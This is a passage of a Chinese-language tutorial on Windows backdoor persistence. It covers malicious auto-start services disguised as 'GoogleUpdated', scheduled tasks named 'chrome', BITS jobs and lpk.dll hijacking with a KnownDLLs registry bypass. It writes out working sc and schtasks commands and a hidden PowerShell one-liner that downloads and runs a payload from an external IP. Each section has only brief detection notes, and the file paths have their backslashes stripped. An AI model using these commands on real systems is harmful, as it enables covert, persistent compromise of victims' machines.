重启效果如下:
检测及清除办法:
检查相关注册表键值或使用autoruns。
2.2.3自启动服务后门
在 Windows上还有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有 SYSTEM 权限,非常适合用于后门持久化。我们可以将 EXE /DLL等可执行文件注册为服务实现后门持久化。
将exe木马添加到自启动服务中
sc create "GoogleUpdated" binpath= "C:UsersAdministratorDesktop est.exe"
sc description "GoogleUpdated" "description" 设置服务的描述字符串
sc config "GoogleUpdated" start= auto 设置这个服务为自动启动 net start "GoogleUpdated" 启动服务
将自己的恶意的可执行文件注册成服务,cs中支持生成此类后门:
也可以尝试配合使用powershell生成无文件的后门:
powershell.exe -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://186.64.5.115:80/a'))"
删除服务:
sc delete "GoogleUpdated"检测及清除办法:
排查自启动服务。
2.3系统计划任务后门Windows实现定时任务主要有schtasks与at二种方式,通过计划任务
At 适用于windows xp/2003,Schtasks适用于win7/2008+
schtasks /create /sc minute /mo 5 /tn "chrome" /tr c:test.bat
执行后计划任务成功创建:
也可以和bitsadmin联动实现无文件后门:
"%WINDIR%system32itsadmin.exe /resume "chrome""检测及清除办法:
使用autoruns排查计划任务。
2.4DLL劫持如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,进而持久化控制。
由于 输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索 DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在 Windows系统目录中查找,最后是在 环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的 输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。
比较常用的如LPK.dll的劫持:
win7及win7以上系统增加了KnownDLLs保护,需要在如下注册表下添加dll才能顺利劫持:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerExcludeFromKnownDlls
构造劫持lpk.dll需要和原dll函数具有相同的导出表,在初始化函数中加入我们要执行的代码,这样调用时会执行插入的后门代码。
2.5Winlogon用户登录初始化